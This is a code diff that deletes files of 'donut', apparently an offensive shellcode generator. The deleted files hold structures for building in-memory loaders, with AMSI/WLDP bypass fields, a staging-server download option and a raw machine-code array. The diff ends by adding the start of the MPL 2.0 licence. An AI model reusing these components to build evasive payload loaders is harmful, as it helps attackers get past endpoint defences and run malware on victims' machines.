0x05, 0x00, 0x00, 0x0f, 0x42, 0xc1, 0x81, 0xff, 0x80, 0x00, 0x00, 0x00,
|
||||
0x8d, 0x70, 0x02, 0x0f, 0x43, 0xf0, 0x85, 0xf6, 0x74, 0x13, 0x8b, 0xca,
|
||||
0x2b, 0xcf, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41, 0x83, 0xee, 0x01, 0x75,
|
||||
0xf5, 0x89, 0x54, 0x24, 0x18, 0x33, 0xf6, 0x46, 0xeb, 0x18, 0x8b, 0x4c,
|
||||
0x24, 0x14, 0x8b, 0x54, 0x24, 0x18, 0x8a, 0x01, 0x88, 0x02, 0x42, 0x41,
|
||||
0x89, 0x4c, 0x24, 0x14, 0x33, 0xf6, 0x89, 0x54, 0x24, 0x18, 0x85, 0xdb,
|
||||
0x0f, 0x84, 0x9b, 0xfe, 0xff, 0xff, 0x5f, 0x5e, 0x2b, 0xd5, 0x5d, 0x8b,
|
||||
0xc2, 0x5b, 0x83, 0xc4, 0x14, 0xc3, 0x8b, 0x54, 0x24, 0x04, 0x8b, 0x4a,
|
||||
0x0c, 0x8d, 0x41, 0xff, 0x89, 0x42, 0x0c, 0x85, 0xc9, 0x75, 0x13, 0x8b,
|
||||
0x02, 0x8a, 0x08, 0x40, 0x89, 0x02, 0xc7, 0x42, 0x0c, 0x07, 0x00, 0x00,
|
||||
0x00, 0x0f, 0xb6, 0xc1, 0xeb, 0x03, 0x8b, 0x42, 0x08, 0x8d, 0x0c, 0x00,
|
||||
0xc1, 0xe8, 0x07, 0x89, 0x4a, 0x08, 0x83, 0xe0, 0x01, 0xc3, 0x56, 0x33,
|
||||
0xf6, 0x46, 0xff, 0x74, 0x24, 0x08, 0xe8, 0xbf, 0xff, 0xff, 0xff, 0xff,
|
||||
0x74, 0x24, 0x0c, 0x8d, 0x34, 0x70, 0xe8, 0xb3, 0xff, 0xff, 0xff, 0x59,
|
||||
0x59, 0x85, 0xc0, 0x75, 0xe5, 0x8b, 0xc6, 0x5e, 0xc3, 0x8b, 0x54, 0x24,
|
||||
0x0c, 0x8b, 0x44, 0x24, 0x04, 0x56, 0x8b, 0xf0, 0x85, 0xd2, 0x74, 0x13,
|
||||
0x57, 0x8b, 0x7c, 0x24, 0x10, 0x2b, 0xf8, 0x8a, 0x0c, 0x37, 0x88, 0x0e,
|
||||
0x46, 0x83, 0xea, 0x01, 0x75, 0xf5, 0x5f, 0x5e, 0xc3, 0x8a, 0x44, 0x24,
|
||||
0x08, 0x8b, 0x4c, 0x24, 0x0c, 0x57, 0x8b, 0x7c, 0x24, 0x08, 0xf3, 0xaa,
|
||||
0x8b, 0x44, 0x24, 0x08, 0x5f, 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x4c,
|
||||
0x24, 0x08, 0x53, 0x8a, 0x10, 0x84, 0xd2, 0x74, 0x0e, 0x8a, 0x19, 0x84,
|
||||
0xdb, 0x74, 0x08, 0x3a, 0xd3, 0x75, 0x04, 0x40, 0x41, 0xeb, 0xec, 0x0f,
|
||||
0xbe, 0x00, 0x0f, 0xbe, 0x09, 0x2b, 0xc1, 0x5b, 0xc3};
|
||||
|
||||
-430
@@ -1,430 +0,0 @@
|
||||
package donut
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
const (
|
||||
// entropy level
|
||||
DONUT_ENTROPY_NONE = 1 // don't use any entropy
|
||||
DONUT_ENTROPY_RANDOM = 2 // use random names
|
||||
DONUT_ENTROPY_DEFAULT = 3 // use random names + symmetric encryption
|
||||
|
||||
DONUT_MAX_PARAM = 8 // maximum number of parameters passed to method
|
||||
DONUT_MAX_NAME = 256
|
||||
DONUT_MAX_DLL = 8 // maximum number of DLL supported by instance
|
||||
DONUT_MAX_URL = 256
|
||||
DONUT_MAX_MODNAME = 8
|
||||
DONUT_SIG_LEN = 8 // 64-bit string to verify decryption ok
|
||||
DONUT_VER_LEN = 32
|
||||
DONUT_DOMAIN_LEN = 8
|
||||
|
||||
MARU_MAX_STR = 64
|
||||
MARU_BLK_LEN = 16
|
||||
MARU_HASH_LEN = 8
|
||||
MARU_IV_LEN = 8
|
||||
|
||||
DONUT_RUNTIME_NET4 = "v4.0.30319"
|
||||
|
||||
NTDLL_DLL = "ntdll.dll"
|
||||
KERNEL32_DLL = "kernel32.dll"
|
||||
SHELL32_DLL = "shell32.dll"
|
||||
ADVAPI32_DLL = "advapi32.dll"
|
||||
CRYPT32_DLL = "crypt32.dll"
|
||||
MSCOREE_DLL = "mscoree.dll"
|
||||
OLE32_DLL = "ole32.dll"
|
||||
OLEAUT32_DLL = "oleaut32.dll"
|
||||
WININET_DLL = "wininet.dll"
|
||||
COMBASE_DLL = "combase.dll"
|
||||
USER32_DLL = "user32.dll"
|
||||
SHLWAPI_DLL = "shlwapi.dll"
|
||||
)
|
||||
|
||||
// DonutArch - CPU architecture type (32, 64, or 32+64)
|
||||
type DonutArch int
|
||||
|
||||
const (
|
||||
// X32 - 32bit
|
||||
X32 DonutArch = iota
|
||||
// X64 - 64 bit
|
||||
X64
|
||||
// X84 - 32+64 bit
|
||||
X84
|
||||
)
|
||||
|
||||
type ModuleType int
|
||||
|
||||
const (
|
||||
DONUT_MODULE_NET_DLL ModuleType = 1 // .NET DLL. Requires class and method
|
||||
DONUT_MODULE_NET_EXE = 2 // .NET EXE. Executes Main if no class and method provided
|
||||
DONUT_MODULE_DLL = 3 // Unmanaged DLL, function is optional
|
||||
DONUT_MODULE_EXE = 4 // Unmanaged EXE
|
||||
DONUT_MODULE_VBS = 5 // VBScript
|
||||
DONUT_MODULE_JS = 6 // JavaScript or JScript
|
||||
DONUT_MODULE_XSL = 7 // XSL with JavaScript/JScript or VBscript embedded
|
||||
)
|
||||
|
||||
type InstanceType int
|
||||
|
||||
const (
|
||||
DONUT_INSTANCE_PIC InstanceType = 1 // Self-contained
|
||||
DONUT_INSTANCE_URL = 2 // Download from remote server
|
||||
)
|
||||
|
||||
type DonutConfig struct {
|
||||
Arch DonutArch
|
||||
Type ModuleType
|
||||
InstType InstanceType
|
||||
Parameters string // separated by , or ;
|
||||
|
||||
Entropy uint32
|
||||
|
||||
// new in 0.9.3
|
||||
Thread uint32
|
||||
Compress uint32
|
||||
Unicode uint32
|
||||
OEP uint64
|
||||
ExitOpt uint32
|
||||
Format uint32
|
||||
|
||||
Domain string // .NET stuff
|
||||
Class string
|
||||
Method string // Used by Native DLL and .NET DLL
|
||||
Runtime string
|
||||
Bypass int
|
||||
|
||||
Module *DonutModule
|
||||
ModuleName string
|
||||
URL string
|
||||
ModuleMac uint64
|
||||
ModuleData *bytes.Buffer
|
||||
|
||||
inst *DonutInstance
|
||||
instLen uint32
|
||||
|
||||
Verbose bool // Enable/Disable verbose output
|
||||
}
|
||||
|
||||
type DonutModule struct {
|
||||
ModType uint32 // EXE, DLL, JS, VBS, XSL
|
||||
Thread uint32 // run entrypoint of unmanaged EXE as a thread
|
||||
Compress uint32 // indicates engine used for compression
|
||||
|
||||
Runtime [DONUT_MAX_NAME]byte // runtime version for .NET EXE/DLL (donut max name = 256)
|
||||
Domain [DONUT_MAX_NAME]byte // domain name to use for .NET EXE/DLL
|
||||
Cls [DONUT_MAX_NAME]byte // name of class and optional namespace for .NET EXE/DLL
|
||||
Method [DONUT_MAX_NAME]byte // name of method to invoke for .NET DLL or api for unmanaged DLL
|
||||
Param [DONUT_MAX_NAME]byte // string parameters for DLL/EXE (donut max parm = 8)
|
||||
|
||||
Unicode uint32 // convert command line to unicode for unmanaged DLL function
|
||||
Sig [DONUT_SIG_LEN]byte // random string to verify decryption
|
||||
Mac uint64 // to verify decryption was ok
|
||||
Zlen uint32 // compressed size of EXE/DLL/JS/VBS file
|
||||
Len uint32 // size of EXE/DLL/XSL/JS/VBS file
|
||||
Data [4]byte // data of EXE/DLL/XSL/JS/VBS file
|
||||
}
|
||||
|
||||
func WriteField(w *bytes.Buffer, name string, i interface{}) {
|
||||
binary.Write(w, binary.LittleEndian, i)
|
||||
// todo: logging here
|
||||
}
|
||||
|
||||
func (mod *DonutModule) WriteTo(w *bytes.Buffer) {
|
||||
WriteField(w, "ModType", mod.ModType)
|
||||
WriteField(w, "Thread", mod.Thread)
|
||||
WriteField(w, "Compress", mod.Compress)
|
||||
|
||||
WriteField(w, "Runtime", mod.Runtime)
|
||||
WriteField(w, "Domain", mod.Domain)
|
||||
WriteField(w, "CLS", mod.Cls)
|
||||
WriteField(w, "Method", mod.Method)
|
||||
WriteField(w, "Param", mod.Param)
|
||||
|
||||
WriteField(w, "Unicode", mod.Unicode)
|
||||
w.Write(mod.Sig[:DONUT_SIG_LEN])
|
||||
WriteField(w, "Mac", mod.Mac)
|
||||
WriteField(w, "Zlen", mod.Zlen)
|
||||
WriteField(w, "Len", mod.Len)
|
||||
}
|
||||
|
||||
type DonutInstance struct {
|
||||
Len uint32 // total size of instance
|
||||
|
||||
//Key DonutCrypt // decrypts instance (32 bytes total = 16+16)
|
||||
KeyMk [CipherKeyLen]byte // master key
|
||||
KeyCtr [CipherBlockLen]byte // counter + nonce
|
||||
|
||||
Iv uint64 // the 64-bit initial value for maru hash
|
||||
Hash [64]uint64 // holds up to 64 api hashes/addrs {api}
|
||||
|
||||
ExitOpt uint32 // call RtlExitUserProcess to terminate the host process
|
||||
Entropy uint32 // indicates entropt option
|
||||
OEP uint64 // original entrypoint
|
||||
|
||||
// everything from here is encrypted
|
||||
ApiCount uint32 // the 64-bit hashes of API required for instance to work
|
||||
DllNames [DONUT_MAX_NAME]byte // a list of DLL strings to load, separated by semi-colon
|
||||
|
||||
Dataname [8]byte // ".data"
|
||||
Kernelbase [12]byte // "kernelbase"
|
||||
Amsi [8]byte // "amsi"
|
||||
Clr [4]byte // clr
|
||||
Wldp [8]byte // wldp
|
||||
|
||||
CmdSyms [DONUT_MAX_NAME]byte // symbols related to command line
|
||||
ExitApi [DONUT_MAX_NAME]byte // exit-related API
|
||||
|
||||
Bypass uint32 // indicates behaviour of byassing AMSI/WLDP
|
||||
WldpQuery [32]byte // WldpQueryDynamicCodeTrust
|
||||
WldpIsApproved [32]byte // WldpIsClassInApprovedList
|
||||
AmsiInit [16]byte // AmsiInitialize
|
||||
AmsiScanBuf [16]byte // AmsiScanBuffer
|
||||
AmsiScanStr [16]byte // AmsiScanString
|
||||
|
||||
Wscript [8]byte // WScript
|
||||
Wscript_exe [12]byte // wscript.exe
|
||||
|
||||
XIID_IUnknown uuid.UUID
|
||||
XIID_IDispatch uuid.UUID
|
||||
|
||||
// GUID required to load .NET assemblies
|
||||
XCLSID_CLRMetaHost uuid.UUID
|
||||
XIID_ICLRMetaHost uuid.UUID
|
||||
XIID_ICLRRuntimeInfo uuid.UUID
|
||||
XCLSID_CorRuntimeHost uuid.UUID
|
||||
XIID_ICorRuntimeHost uuid.UUID
|
||||
XIID_AppDomain uuid.UUID
|
||||
|
||||
// GUID required to run VBS and JS files
|
||||
XCLSID_ScriptLanguage uuid.UUID // vbs or js
|
||||
XIID_IHost uuid.UUID // wscript object
|
||||
XIID_IActiveScript uuid.UUID // engine
|
||||
XIID_IActiveScriptSite uuid.UUID // implementation
|
||||
XIID_IActiveScriptSiteWindow uuid.UUID // basic GUI stuff
|
||||
XIID_IActiveScriptParse32 uuid.UUID // parser
|
||||
XIID_IActiveScriptParse64 uuid.UUID
|
||||
|
||||
Type uint32 // DONUT_INSTANCE_PIC or DONUT_INSTANCE_URL
|
||||
|
||||
Url [DONUT_MAX_URL]byte // staging server hosting donut module
|
||||
Req [8]byte // just a buffer for "GET"
|
||||
|
||||
Sig [DONUT_MAX_NAME]byte // string to hash
|
||||
Mac uint64 // to verify decryption ok
|
||||
|
||||
ModKeyMk [CipherKeyLen]byte // master key
|
||||
ModKeyCtr [CipherBlockLen]byte // counter + nonce
|
||||
|
||||
Mod_len uint64 // total size of module
|
||||
}
|
||||
|
||||
func (inst *DonutInstance) WriteTo(w *bytes.Buffer) {
|
||||
//start := w.Len()
|
||||
WriteField(w, "Len", inst.Len)
|
||||
WriteField(w, "KeyMk", inst.KeyMk)
|
||||
WriteField(w, "KeyCtr", inst.KeyCtr)
|
||||
for i := 0; i < 4; i++ { // padding to 8-byte alignment after 4 byte field
|
||||
w.WriteByte(0)
|
||||
}
|
||||
WriteField(w, "Iv", inst.Iv)
|
||||
WriteField(w, "Hash", inst.Hash)
|
||||
WriteField(w, "ExitOpt", inst.ExitOpt)
|
||||
WriteField(w, "Entropy", inst.Entropy)
|
||||
WriteField(w, "OEP", inst.OEP)
|
||||
|
||||
WriteField(w, "ApiCount", inst.ApiCount)
|
||||
WriteField(w, "DllNames", inst.DllNames)
|
||||
|
||||
WriteField(w, "Dataname", inst.Dataname)
|
||||
WriteField(w, "Kernelbase", inst.Kernelbase)
|
||||
WriteField(w, "Amsi", inst.Amsi)
|
||||
WriteField(w, "Clr", inst.Clr)
|
||||
WriteField(w, "Wldp", inst.Wldp)
|
||||
|
||||
WriteField(w, "CmdSyms", inst.CmdSyms)
|
||||
WriteField(w, "ExitApi", inst.ExitApi)
|
||||
|
||||
WriteField(w, "Bypass", inst.Bypass)
|
||||
WriteField(w, "WldpQuery", inst.WldpQuery)
|
||||
WriteField(w, "WldpIsApproved", inst.WldpIsApproved)
|
||||
WriteField(w, "AmsiInit", inst.AmsiInit)
|
||||
WriteField(w, "AmsiScanBuf", inst.AmsiScanBuf)
|
||||
WriteField(w, "AmsiScanStr", inst.AmsiScanStr)
|
||||
|
||||
WriteField(w, "Wscript", inst.Wscript)
|
||||
WriteField(w, "WscriptExe", inst.Wscript_exe)
|
||||
|
||||
swapUUID(w, inst.XIID_IUnknown)
|
||||
swapUUID(w, inst.XIID_IDispatch)
|
||||
|
||||
swapUUID(w, inst.XCLSID_CLRMetaHost)
|
||||
swapUUID(w, inst.XIID_ICLRMetaHost)
|
||||
swapUUID(w, inst.XIID_ICLRRuntimeInfo)
|
||||
swapUUID(w, inst.XCLSID_CorRuntimeHost)
|
||||
swapUUID(w, inst.XIID_ICorRuntimeHost)
|
||||
swapUUID(w, inst.XIID_AppDomain)
|
||||
|
||||
swapUUID(w, inst.XCLSID_ScriptLanguage)
|
||||
swapUUID(w, inst.XIID_IHost)
|
||||
swapUUID(w, inst.XIID_IActiveScript)
|
||||
swapUUID(w, inst.XIID_IActiveScriptSite)
|
||||
swapUUID(w, inst.XIID_IActiveScriptSiteWindow)
|
||||
swapUUID(w, inst.XIID_IActiveScriptParse32)
|
||||
swapUUID(w, inst.XIID_IActiveScriptParse64)
|
||||
|
||||
WriteField(w, "Type", inst.Type)
|
||||
WriteField(w, "Url", inst.Url)
|
||||
WriteField(w, "Req", inst.Req)
|
||||
WriteField(w, "Sig", inst.Sig)
|
||||
WriteField(w, "Mac", inst.Mac)
|
||||
WriteField(w, "ModKeyMk", inst.ModKeyMk)
|
||||
WriteField(w, "ModKeCtr", inst.ModKeyCtr)
|
||||
WriteField(w, "Mod_len", inst.Mod_len)
|
||||
}
|
||||
|
||||
type API_IMPORT struct {
|
||||
Module string
|
||||
Name string
|
||||
}
|
||||
|
||||
var api_imports = []API_IMPORT{
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "LoadLibraryA"}, //0
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetProcAddress"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetModuleHandleA"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualAlloc"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualFree"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualQuery"}, // 5
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "VirtualProtect"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "Sleep"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "MultiByteToWideChar"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetUserDefaultLCID"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "WaitForSingleObject"}, //10
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "CreateThread"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetThreadContext"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCurrentThread"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineA"},
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "GetCommandLineW"}, // 15
|
||||
|
||||
API_IMPORT{Module: SHELL32_DLL, Name: "CommandLineToArgvW"},
|
||||
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreate"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayCreateVector"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayPutElement"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayDestroy"}, // 20
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetLBound"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SafeArrayGetUBound"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SysAllocString"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "SysFreeString"},
|
||||
API_IMPORT{Module: OLEAUT32_DLL, Name: "LoadTypeLib"}, // 25
|
||||
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetCrackUrlA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetOpenA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetConnectA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetSetOptionA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetReadFile"}, // 30
|
||||
API_IMPORT{Module: WININET_DLL, Name: "InternetCloseHandle"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "HttpOpenRequestA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "HttpSendRequestA"},
|
||||
API_IMPORT{Module: WININET_DLL, Name: "HttpQueryInfoA"},
|
||||
|
||||
API_IMPORT{Module: MSCOREE_DLL, Name: "CorBindToRuntime"}, // 35
|
||||
API_IMPORT{Module: MSCOREE_DLL, Name: "CLRCreateInstance"},
|
||||
|
||||
API_IMPORT{Module: OLE32_DLL, Name: "CoInitializeEx"},
|
||||
API_IMPORT{Module: OLE32_DLL, Name: "CoCreateInstance"},
|
||||
API_IMPORT{Module: OLE32_DLL, Name: "CoUninitialize"},
|
||||
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualUnicodeString"}, // 40
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlEqualString"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlUnicodeStringToAnsiString"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlInitUnicodeString"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserThread"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlExitUserProcess"}, // 45
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlCreateUnicodeString"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlGetCompressionWorkSpaceSize"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "RtlDecompressBuffer"},
|
||||
API_IMPORT{Module: NTDLL_DLL, Name: "NtContinue"},
|
||||
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "AddVectoredExceptionHandler"}, // 50
|
||||
API_IMPORT{Module: KERNEL32_DLL, Name: "RemoveVectoredExceptionHandler"},
|
||||
}
|
||||
|
||||
// required to load .NET assemblies
|
||||
var ( //the first 6 bytes of these were int32+int16, need to be swapped on write
|
||||
xCLSID_CorRuntimeHost = uuid.UUID{
|
||||
0xcb, 0x2f, 0x67, 0x23, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}
|
||||
|
||||
xIID_ICorRuntimeHost = uuid.UUID{
|
||||
0xcb, 0x2f, 0x67, 0x22, 0xab, 0x3a, 0x11, 0xd2, 0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}
|
||||
|
||||
xCLSID_CLRMetaHost = uuid.UUID{
|
||||
0x92, 0x80, 0x18, 0x8d, 0x0e, 0x8e, 0x48, 0x67, 0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}
|
||||
|
||||
xIID_ICLRMetaHost = uuid.UUID{
|
||||
0xD3, 0x32, 0xDB, 0x9E, 0xB9, 0xB3, 0x41, 0x25, 0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}
|
||||
|
||||
xIID_ICLRRuntimeInfo = uuid.UUID{
|
||||
0xBD, 0x39, 0xD1, 0xD2, 0xBA, 0x2F, 0x48, 0x6a, 0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}
|
||||
|
||||
xIID_AppDomain = uuid.UUID{
|
||||
0x05, 0xF6, 0x96, 0xDC, 0x2B, 0x29, 0x36, 0x63, 0xAD, 0x8B, 0xC4, 0x38, 0x9C, 0xF2, 0xA7, 0x13}
|
||||
|
||||
// required to load VBS and JS files
|
||||
xIID_IUnknown = uuid.UUID{
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}
|
||||
|
||||
xIID_IDispatch = uuid.UUID{
|
||||
0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}
|
||||
|
||||
xIID_IHost = uuid.UUID{
|
||||
0x91, 0xaf, 0xbd, 0x1b, 0x5f, 0xeb, 0x43, 0xf5, 0xb0, 0x28, 0xe2, 0xca, 0x96, 0x06, 0x17, 0xec}
|
||||
|
||||
xIID_IActiveScript = uuid.UUID{
|
||||
0xbb, 0x1a, 0x2a, 0xe1, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
|
||||
|
||||
xIID_IActiveScriptSite = uuid.UUID{
|
||||
0xdb, 0x01, 0xa1, 0xe3, 0xa4, 0x2b, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
|
||||
|
||||
xIID_IActiveScriptSiteWindow = uuid.UUID{
|
||||
0xd1, 0x0f, 0x67, 0x61, 0x83, 0xe9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
|
||||
|
||||
xIID_IActiveScriptParse32 = uuid.UUID{
|
||||
0xbb, 0x1a, 0x2a, 0xe2, 0xa4, 0xf9, 0x11, 0xcf, 0x8f, 0x20, 0x00, 0x80, 0x5f, 0x2c, 0xd0, 0x64}
|
||||
|
||||
xIID_IActiveScriptParse64 = uuid.UUID{
|
||||
0xc7, 0xef, 0x76, 0x58, 0xe1, 0xee, 0x48, 0x0e, 0x97, 0xea, 0xd5, 0x2c, 0xb4, 0xd7, 0x6d, 0x17}
|
||||
|
||||
xCLSID_VBScript = uuid.UUID{
|
||||
0xB5, 0x4F, 0x37, 0x41, 0x5B, 0x07, 0x11, 0xcf, 0xA4, 0xB0, 0x00, 0xAA, 0x00, 0x4A, 0x55, 0xE8}
|
||||
|
||||
xCLSID_JScript = uuid.UUID{
|
||||
0xF4, 0x14, 0xC2, 0x60, 0x6A, 0xC0, 0x11, 0xCF, 0xB6, 0xD1, 0x00, 0xAA, 0x00, 0xBB, 0xBB, 0x58}
|
||||
|
||||
// required to load XSL files
|
||||
xCLSID_DOMDocument30 = uuid.UUID{
|
||||
0xf5, 0x07, 0x8f, 0x32, 0xc5, 0x51, 0x11, 0xd3, 0x89, 0xb9, 0x00, 0x00, 0xf8, 0x1f, 0xe2, 0x21}
|
||||
|
||||
xIID_IXMLDOMDocument = uuid.UUID{
|
||||
0x29, 0x33, 0xBF, 0x81, 0x7B, 0x36, 0x11, 0xD2, 0xB2, 0x0E, 0x00, 0xC0, 0x4F, 0x98, 0x3E, 0x60}
|
||||
|
||||
xIID_IXMLDOMNode = uuid.UUID{
|
||||
0x29, 0x33, 0xbf, 0x80, 0x7b, 0x36, 0x11, 0xd2, 0xb2, 0x0e, 0x00, 0xc0, 0x4f, 0x98, 0x3e, 0x60}
|
||||
)
|
||||
|
||||
func swapUUID(w io.Writer, u uuid.UUID) {
|
||||
bu := new(bytes.Buffer)
|
||||
binary.Write(bu, binary.LittleEndian, u)
|
||||
var a uint32
|
||||
var b, c uint16
|
||||
binary.Read(bu, binary.BigEndian, &a)
|
||||
binary.Read(bu, binary.BigEndian, &b)
|
||||
binary.Read(bu, binary.BigEndian, &c)
|
||||
binary.Write(w, binary.LittleEndian, a)
|
||||
binary.Write(w, binary.LittleEndian, b)
|
||||
binary.Write(w, binary.LittleEndian, c)
|
||||
bu.WriteTo(w)
|
||||
}
|
||||
-44
@@ -1,44 +0,0 @@
|
||||
package donut
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"io"
|
||||
"math/big"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
// RandomString - generates random string of given length
|
||||
func RandomString(len int) string {
|
||||
bytes := make([]byte, len)
|
||||
for i := 0; i < len; i++ {
|
||||
r, _ := rand.Int(rand.Reader, big.NewInt(25))
|
||||
bytes[i] = 97 + byte(r.Int64()) //a=97
|
||||
}
|
||||
return string(bytes)
|
||||
}
|
||||
|
||||
// DownloadFile will download an URL to a byte buffer
|
||||
func DownloadFile(url string) (*bytes.Buffer, error) {
|
||||
resp, err := http.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
buf := bytes.NewBuffer([]byte{})
|
||||
_, err = io.Copy(buf, resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
// GenerateRandomBytes : Generates as many random bytes as you ask for, returns them as []byte
|
||||
func GenerateRandomBytes(count int) ([]byte, error) {
|
||||
b := make([]byte, count)
|
||||
if _, err := io.ReadFull(rand.Reader, b); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
+364
@@ -0,0 +1,364 @@
|
||||
Copyright (c) 2014 HashiCorp, Inc.
|
||||
|
||||
Mozilla Public License, version 2.0
|
||||
|
||||
1. Definitions
|
||||
|
||||
1.1. "Contributor"
|
||||
|
||||
means each individual or legal entity that creates, contributes to the
|
||||
creation of, or owns Covered Software.
|
||||
|
||||
1.2. "Contributor Version"
|
||||
|
||||
means the combination of the Contributions of others (if any) used by a
|
||||
Contributor and that particular Contributor's Contribution.
|
||||
|
||||
1.3. "Contribution"
|
||||
|
||||
means Covered Software of a particular Contributor.
|
||||
|
||||
1.4. "Covered Software"
|
||||
|
||||
means Source Code Form to which the initial Contributor has attached the
|
||||
notice in Exhibit A, the Executable Form of such Source Code Form, and
|
||||
Modifications of such Source Code Form, in each case including portions
|
||||
thereof.
|
||||
|
||||
1.5. "Incompatible With Secondary Licenses"
|
||||
means
|
||||
|
||||
a. that the initial Contributor has attached the notice described in
|
||||
Exhibit B to the Covered Software; or
|
||||
|
||||
b. that the Covered Software was made available under the terms of
|
||||
version 1.1 or earlier of the License, but not also under the terms of
|
||||
a Secondary License.
|
||||
|
||||
1.6. "Executable Form"
|
||||
|
||||
means any form of the work other than Source Code Form.
|
||||
|
||||
1.7. "Larger Work"
|
||||
|
||||
means a work that combines Covered Software with other material, in a
|
||||
separate file or files, that is not Covered Software.
|
||||
|
||||
1.8. "License"
|
||||
|
||||
means this document.
|
||||
|
||||
1.9. "Licensable"
|
||||
|
||||
means having the right to grant, to the maximum extent possible, whether
|
||||
at the time of the initial grant or subsequently, any and all of the
|
||||
rights conveyed by this License.
|
||||
|
||||
1.10. "Modifications"
|
||||
|
||||
means any of the following:
|
||||
|
||||
a. any file in Source Code Form that results from an addition to,
|
||||
deletion from, or modification of the contents of Covered Software; or
|
||||
|
||||
b. any new file in Source Code Form that contains any Covered Software.
|
||||
|
||||
1.11. "Patent Claims" of a Contributor
|
||||
|
||||
means any patent claim(s), including without limitation, method,
|
||||
process, and apparatus claims, in any patent Licensable by such
|
||||
Contributor that would be infringed, but for the grant of the License,
|
||||
by the making, using, selling, offering for sale, having made, import,
|
||||
or transfer of either its Contributions or its Contributor Version.
|
||||
|
||||
1.12. "Secondary License"
|
||||
|
||||
means either the GNU General Public License, Version 2.0, the GNU Lesser
|
||||
General Public License, Version 2.1, the GNU Affero General Public
|
||||
License, Version 3.0, or any later versions of those licenses.
|
||||
|
||||
1.13. "Source Code Form"
|
||||
|
||||
means the form of the work preferred for making modifications.
|
||||
|
||||
1.14. "You" (or "Your")
|
||||
|
||||
means an individual or a legal entity exercising rights under this
|
||||
License. For legal entities, "You" includes any entity that controls, is
|
||||
controlled by, or is under common control with You. For purposes of this
|
||||
definition, "control" means (a) the power, direct or indirect, to cause
|
||||
the direction or management of such entity, whether by contract or
|
||||
otherwise, or (b) ownership of more than fifty percent (50%) of the
|
||||
outstanding shares or beneficial ownership of such entity.
|
||||
|
||||
|
||||
2. License Grants and Conditions
|
||||
|
||||
2.1. Grants
|
||||
|
||||
Each Contributor hereby grants You a world-wide, royalty-free,
|
||||
non-exclusive license:
|
||||
|
||||
a. under intellectual property rights (other than patent or trademark)
|
||||
